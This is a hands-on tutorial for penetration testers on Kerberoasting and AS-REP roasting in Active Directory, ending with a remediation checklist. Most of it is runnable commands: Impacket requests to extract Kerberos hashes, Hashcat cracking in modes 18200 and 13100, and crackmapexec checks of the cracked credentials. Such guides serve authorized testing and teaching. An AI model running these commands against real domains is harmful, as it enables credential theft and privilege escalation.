Hands-On Guide: Kerberoasting & AS-REP Roasting in Active Directory

This hands-on tutorial guides security analysts and penetration testers through the complete workflow of discovering and exploiting Kerberos pre-authentication and SPN ticket weaknesses within Active Directory environments.

Prerequisites & Tools

• Operating System: Kali Linux / Arch Linux / Security Workstation
• Python 3.10+
• Impacket toolkit (pip install impacket)
• Hashcat (GPU/CPU hash cracking framework)
• Wordlist: rockyou.txt or custom targeted rule dictionary

Phase 1: Identifying & Extracting AS-REP Hashes

AS-REP Roasting targets accounts that have the DONT_REQ_PREAUTH flag enabled in Active Directory.

Step 1.1: Run Impacket GetNPUsers

Execute GetNPUsers against the domain controller specifying a target domain and candidate username list:

impacket-GetNPUsers enterprise.local/ -usersfile usernames.txt -no-pass -format hashcat -outputfile asrep_targets.txt -dc-ip 10.10.10.10

Step 1.2: Hashcat Cracking (Mode 18200)

Run Hashcat with mode 18200 (Kerberos 5, etype 23, AS-REP):

hashcat -m 18200 -a 0 asrep_targets.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Phase 2: Requesting & Extracting Kerberoast TGS Tickets

Kerberoasting targets accounts with a Service Principal Name (SPN) set, usually dedicated service accounts.

Step 2.1: Enumerate Service Principal Names & Request TGS

Using valid domain credentials (even lowest privilege):

impacket-GetUserSPNs enterprise.local/svc_reader:ReadPassword123! -request -dc-ip 10.10.10.10 -outputfile kerberoast_tgs.txt

Step 2.2: Hashcat Cracking (Mode 13100)

Run Hashcat with mode 13100 (Kerberos 5, etype 23, TGS-REP):

hashcat -m 13100 -a 0 kerberoast_tgs.txt /usr/share/wordlists/rockyou.txt --force

Phase 3: Verification & Post-Exploitation Validation

Once a hash is cracked:

1. Verify the credential using crackmapexec smb 10.10.10.10 -u 'target_svc' -p 'CrackedPassword!'
2. Check group membership using impacket-rpcclient or LDAP search.
3. If the account belongs to privileged groups (e.g., Server Operators, DNSAdmins), proceed with authorized escalation paths.

Verification & Remediation Checklist

• Rotate passwords for all service accounts with SPNs.
• Migrate legacy service accounts to Group Managed Service Accounts (gMSA).
• Enable Kerberos Pre-Authentication on all user objects.